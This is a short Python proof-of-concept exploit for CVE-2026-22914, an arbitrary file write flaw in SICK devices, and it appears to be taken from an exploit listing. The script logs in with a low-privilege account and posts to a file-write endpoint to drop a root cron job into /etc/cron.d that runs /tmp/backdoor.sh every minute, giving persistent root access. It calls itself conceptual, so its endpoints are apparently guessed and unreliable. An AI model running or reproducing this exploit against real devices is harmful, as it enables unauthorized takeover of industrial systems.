CVE-2026-22914 SICK设备任意文件写入漏洞

# CVE-2026-22914 PoC - SICK Device Arbitrary File Write # Note: This is a conceptual PoC based on vulnerability description # Requires authentication with low-privilege account import requests import sys TARGET_HOST = "https://target-device.local" USERNAME = "low_priv_user" PASSWORD = "password" TARGET_PATH = "/etc/cron.d/malicious_script" def exploit_cve_2026_22914(): """ Exploit for arbitrary file write vulnerability in SICK devices. The vulnerability allows authenticated users with low privileges to write files to arbitrary locations on the device. """ # Authentication session = requests.Session() login_data = { 'username': USERNAME, 'password': PASSWORD } # Login to obtain session login_url = f"{TARGET_HOST}/api/login" response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Authentication failed") return False print(f"[+] Successfully authenticated") # File write payload malicious_content = "#!/bin/bash\n# Malicious cron job\n* * * * * root /tmp/backdoor.sh" # Exploit the arbitrary file write vulnerability # Target specific file writing endpoint write_url = f"{TARGET_HOST}/api/file/write" exploit_data = { 'path': TARGET_PATH, 'content': malicious_content, 'overwrite': True } response = session.post(write_url, json=exploit_data) if response.status_code == 200: print(f"[+] File successfully written to {TARGET_PATH}") print(f"[+] System may now be compromised") return True else: print(f"[-] Exploitation failed: {response.status_code}") return False if __name__ == "__main__": print("CVE-2026-22914 PoC - SICK Device Arbitrary File Write") exploit_cve_2026_22914()